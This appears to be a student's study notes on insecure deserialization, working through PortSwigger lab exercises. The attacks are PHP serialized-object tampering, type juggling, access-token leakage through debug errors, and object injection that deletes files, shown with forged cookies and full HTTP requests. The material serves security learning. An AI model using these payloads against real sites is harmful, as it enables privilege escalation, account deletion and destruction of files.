How to Identify Insecure Deserialization

During auditing, you should look at all data being passed into the website and try to identify anything that looks like serialized data. Serialized data can be identified relatively easily if you know the format that different languages use.

PHP Serialization Format

PHP uses a mostly human-readable string format, with letters representing the data type and numbers representing the length of each entry.

For example, consider a User object with the attributes:

$user->name = "carlos";
$user->isLoggedIn = true;

When serialized, this object may look something like this:

O:4:"User":2:{s:4:"name":s:6:"carlos"; s:10:"isLoggedIn":b:1;}
  • O:4:"User" - An object with the 4-character class name "User"
  • 2 - the object has 2 attributes
  • s:4:"name" - The key of the first attribute is the 4-character string "name"
  • s:6:"carlos" - The value of the first attribute is the 6-character string "carlos"
  • s:10:"isLoggedIn" - The key of the second attribute is the 10-character string "isLoggedIn"
  • b:1 - The value of the second attribute is the boolean value true

The native methods for PHP serialization are serialize() and unserialize().

Java Serialization Format

Some languages, such as Java, use binary serialization formats. This is more difficult to read, but you can still identify serialized data if you know how to recognize a few tell-tale signs. For example, serialized Java objects always begin with the same bytes, which are encoded as ac ed in hexadecimal and rO0 in Base64.

Any class that implements the interface java.io.Serializable can be serialized and deserialized. If you have source code access, take note of any code that uses the readObject() method, which is used to read and deserialize data from an InputStream.

Manipulating Serialized Objects

Modifying Object Attributes

When tampering with the data, as long as the attacker preserves a valid serialized object, the deserialization process will create a server-side object with the modified attribute values.

As a simple example, consider a website that uses a serialized User object to store data about a user’s session in a cookie. If an attacker spotted this serialized object in an HTTP request, they might decode it to find the following byte stream:

O:4:"User":2:{s:8:"username";s:6:"carlos";s:7:"isAdmin";b:0;}

Let’s say the website uses this cookie to check whether the current user has access to certain administrative functionality:

$user = unserialize($_COOKIE);
if ($user->isAdmin === true) {
// allow access to admin interface
}

This vulnerable code would instantiate a User object based on the data from the cookie, including the attacker-modified isAdmin attribute.

Lab: Modifying Serialized Objects

Cookie has the following format:

Set-Cookie: session=Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czo1OiJhZG1pbiI7YjowO30%3d; Secure; HttpOnly; SameSite=None

Decode session cookie with base64:

O:4:"User":2:{s:8:"username";s:6:"wiener";s:5:"admin";b:0;}

Edit value of admin property from 0 to 1 and re-encode the cookie:

Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czo1OiJhZG1pbiI7YjoxO30=

We can access the admin page:

GET /admin HTTP/2
Host: 0ac4008603d013c28006bcb000d100d1.web-security-academy.net
Cookie: session=Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czo1OiJhZG1pbiI7YjoxO30=
 
HTTP/2 200 OK
Content-Type: text/html; charset=utf-8
Cache-Control: no-cache
X-Frame-Options: SAMEORIGIN
Content-Length: 3104

Use that cookie to delete carlos user:

POST /admin/delete?username=carlos HTTP/2
Host: 0ac4008603d013c28006bcb000d100d1.web-security-academy.net
Cookie: session=Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czo1OiJhZG1pbiI7YjoxO30=
 
HTTP/2 302 Found
Location: /admin
X-Frame-Options: SAMEORIGIN
Content-Length: 0

Modifying Data Types

PHP-based logic is particularly vulnerable to this kind of manipulation due to the behavior of its loose comparison operator (==) when comparing different data types.

Unusually, this also works for any alphanumeric string that starts with a number. In this case, PHP will effectively convert the entire string to an integer value based on the initial number. The rest of the string is ignored completely. Therefore, 5 == "5 of something" is in practice treated as 5 == 5.

This becomes even stranger when comparing a string with the integer 0. Because there is no number, that is, 0 numerals in the string, PHP treats this entire string as the integer 0:

0 == "Example string" // true

Consider a case where this loose comparison operator is used in conjunction with user-controllable data from a deserialized object:

$login = unserialize($_COOKIE)
if ($login['password'] == $password) {
// log in successfully
}

Let’s say an attacker modified the password attribute so that it contained the integer 0 instead of the expected string. As long as the stored password does not start with a number, the condition would always return true, enabling an authentication bypass.

Attention

Be aware that when modifying data types in any serialized object format, it is important to remember to update any type labels and length indicators in the serialized data too. Otherwise, the serialized object will be corrupted and will not be deserialized.

Lab: Modifying Serialized Data Types

The original serialized session cookie object:

O:4:"User":2:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"m7nnz08yuhzs0cr1n2oc8eh673njwuat";}

Change value of access_token to the integer 0:

O:4:"User":2:{s:8:"username";s:6:"wiener";s:12:"access_token";i:0;}

Re-encode and send request to /admin, the response indicates that we can access:

GET /admin HTTP/2
Host: 0a5f002203b53db080ba8a8300ff006c.web-security-academy.net
Cookie: session=Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czoxMjoiYWNjZXNzX3Rva2VuIjtpOjA7fQ%3d%3d
 
HTTP/2 200 OK
Content-Type: text/html; charset=utf-8
Cache-Control: no-cache
X-Frame-Options: SAMEORIGIN
Content-Length: 3113

Use the modified session cookie to delete carlos user:

POST /admin/delete?username=carlos HTTP/2
Host: 0a5f002203b53db080ba8a8300ff006c.web-security-academy.net
Cookie: session=Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czoxMjoiYWNjZXNzX3Rva2VuIjtpOjA7fQ%3d%3d
 
HTTP/2 302 Found
Location: /admin
X-Frame-Options: SAMEORIGIN
Content-Length: 0

Using Application Functionality

As well as simply checking attribute values, a website’s functionality might also perform dangerous operations on data from a deserialized object. In this case, you can use insecure deserialization to pass in unexpected data and leverage the related functionality to do damage.

For example, as part of a website’s “Delete user” functionality, the user’s profile picture is deleted by accessing the file path in the $user->image_location attribute. If this $user was created from a serialized object, an attacker could exploit this by passing in a modified object with the image_location set to an arbitrary file path. Deleting their own user account would then delete this arbitrary file as well.

Lab: Using Application Functionality to Exploit Insecure Deserialization

The original delete account request:

POST /my-account/delete HTTP/2
Host: 0ae50011039d87cd82899cf00001009e.web-security-academy.net
Cookie: session=Tzo0OiJVc2VyIjozOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czoxMjoiYWNjZXNzX3Rva2VuIjtzOjMyOiJiaXIzdWMwb3czbXFwaTFyYjZtemFzMTR6anM3YzBwayI7czoxMToiYXZhdGFyX2xpbmsiO3M6MTk6InVzZXJzL3dpZW5lci9hdmF0YXIiO30%3d

Decoded cookie:

O:4:"User":3:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"bir3uc0ow3mqpi1rb6mzas14zjs7c0pk";s:11:"avatar_link";s:19:"users/wiener/avatar";}

Change username from wiener to carlos, re-encode and send request:

POST /my-account/delete HTTP/2
Host: 0ae50011039d87cd82899cf00001009e.web-security-academy.net
Cookie: session=Tzo0OiJVc2VyIjozOntzOjg6InVzZXJuYW1lIjtzOjY6ImNhcmxvcyI7czoxMjoiYWNjZXNzX3Rva2VuIjtpOjA7czoxMToiYXZhdGFyX2xpbmsiO3M6MTk6InVzZXJzL3dpZW5lci9hdmF0YXIiO30%3d

The response has this error message:

<p class=is-warning>
PHP Fatal error:  Uncaught Exception: (DEBUG: $access_tokens[$user-&gt;username] = tt78hdc49c098kbkodp6bx9ea4wqisk9, $user-&gt;access_token = 0, $access_tokens = [tt78hdc49c098kbkodp6bx9ea4wqisk9, hvx32dtmwcp8tq8i8pfwifi5lgaz6dab, bir3uc0ow3mqpi1rb6mzas14zjs7c0pk]) Invalid access token for user carlos in /var/www/index.php:8
Stack trace:
#0 {main}
  thrown in /var/www/index.php on line 8
</p>

As we can see, it reveals all access tokens. Try those and find out that access token for carlos is tt78hdc49c098kbkodp6bx9ea4wqisk9. Modify the session cookie:

O:4:"User":3:{s:8:"username";s:6:"carlos";s:12:"access_token";s:32:"tt78hdc49c098kbkodp6bx9ea4wqisk9";s:11:"avatar_link";s:19:"users/wiener/avatar";}

Re-encode and send request, the response has another error message:

<p class=is-warning>
PHP Warning:  file_put_contents(users/carlos/disabled): failed to open stream: No such file or directory in /home/carlos/User.php on line 45
PHP Fatal error:  Uncaught Exception: Could not write to users/carlos/disabled in /home/carlos/User.php:46
Stack trace:
#0 Command line code(5): User-&gt;delete()
#1 {main}
  thrown in /home/carlos/User.php on line 46
</p>

This response reveals the directory of carlos user. Now, we modify the path to the file we want to delete:

O:4:"User":3:{s:8:"username";s:6:"carlos";s:12:"access_token";s:32:"c7etqjvh9ilwdroowgjkwr6x8vgvbi4o";s:11:"avatar_link";s:23:"/home/carlos/morale.txt";}

Re-encode and send request:

POST /my-account/delete HTTP/2
Host: 0a6200540406960682b3807300ed0079.web-security-academy.net
Cookie: session=Tzo0OiJVc2VyIjozOntzOjg6InVzZXJuYW1lIjtzOjY6ImNhcmxvcyI7czoxMjoiYWNjZXNzX3Rva2VuIjtzOjMyOiJjN2V0cWp2aDlpbHdkcm9vd2dqa3dyNng4dmd2Ymk0byI7czoxMToiYXZhdGFyX2xpbmsiO3M6MjM6Ii9ob21lL2Nhcmxvcy9tb3JhbGUudHh0Ijt9

Even though the status code is 500, our exploit is successful.

Magic Methods

Info

Magic methods are special methods that are automatically called when certain events happen. Common in many object-oriented languages, they often have names with double underscores. For example, PHP’s __construct() is called when a class object is created, similar to Python’s __init__.

Most importantly in this context, some languages automatically invoke magic methods during deserialization. For instance, PHP’s unserialize() method calls the __wakeup() magic method.

In Java, the ObjectInputStream.readObject() method reads serialized data and acts like a constructor to re-initialize an object. Java’s Serializable classes can define their own readObject() method like this:

private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
    // implementation
}

A readObject() method defined this way serves as a magic method during deserialization.

Injecting Arbitrary Objects

Deserialization methods do not typically check what they are deserializing. This means that you can pass in objects of any serializable class that is available to the website, and the object will be deserialized. This effectively allows an attacker to create instances of arbitrary classes. The fact that this object is not of the expected class does not matter. The unexpected object type might cause an exception in the application logic, but the malicious object will already be instantiated by then.

To construct a simple exploit, the attacker would look for classes containing deserialization magic methods, then check whether any of them perform dangerous operations on controllable data.

Lab: Arbitrary Object Injection in PHP

Hint

You can sometimes read source code by appending a tilde (~) to a filename to retrieve an editor-generated backup file.

Found this comment in the response:

<!-- TODO: Refactor once /libs/CustomTemplate.php is updated -->

Access /libs/CustomTemplate.php~ to get the source code:

<?php
 
class CustomTemplate {
    private $template_file_path;
    private $lock_file_path;
 
    public function __construct($template_file_path) {
        $this->template_file_path = $template_file_path;
        $this->lock_file_path = $template_file_path . ".lock";
    }
 
    private function isTemplateLocked() {
        return file_exists($this->lock_file_path);
    }
 
    public function getTemplate() {
        return file_get_contents($this->template_file_path);
    }
 
    public function saveTemplate($template) {
        if (!isTemplateLocked()) {
            if (file_put_contents($this->lock_file_path, "") === false) {
                throw new Exception("Could not write to " . $this->lock_file_path);
            }
            if (file_put_contents($this->template_file_path, $template) === false) {
                throw new Exception("Could not write to " . $this->template_file_path);
            }
        }
    }
 
    function __destruct() {
        // Carlos thought this would be a good idea
        if (file_exists($this->lock_file_path)) {
            unlink($this->lock_file_path);
        }
    }
}
 
?>

The unlink function is used for removing a file: PHP: unlink - Manual.

Create a serialized CustomTemplate object that has lock_file_path is the path of morale.txt file in Carlos’s home directory:

O:14:"CustomTemplate":1:{s:14:"lock_file_path";s:23:"/home/carlos/morale.txt";}

Re-encode and send request to /lib/CustomTemplate.php:

GET /libs/CustomTemplate.php HTTP/2
Host: 0abf001504b0117680171288007c0068.web-security-academy.net
Cookie: session=TzoxNDoiQ3VzdG9tVGVtcGxhdGUiOjE6e3M6MTQ6ImxvY2tfZmlsZV9wYXRoIjtzOjIzOiIvaG9tZS9jYXJsb3MvbW9yYWxlLnR4dCI7fQ%3d%3d
 
HTTP/2 200 OK
Content-Type: text/html; charset=UTF-8
X-Frame-Options: SAMEORIGIN
Content-Length: 0

And there we go!

list
from outgoing([[Port Swigger - Exploiting Insecure Deserialization Vulnerabilities]])
sort file.ctime asc

Resources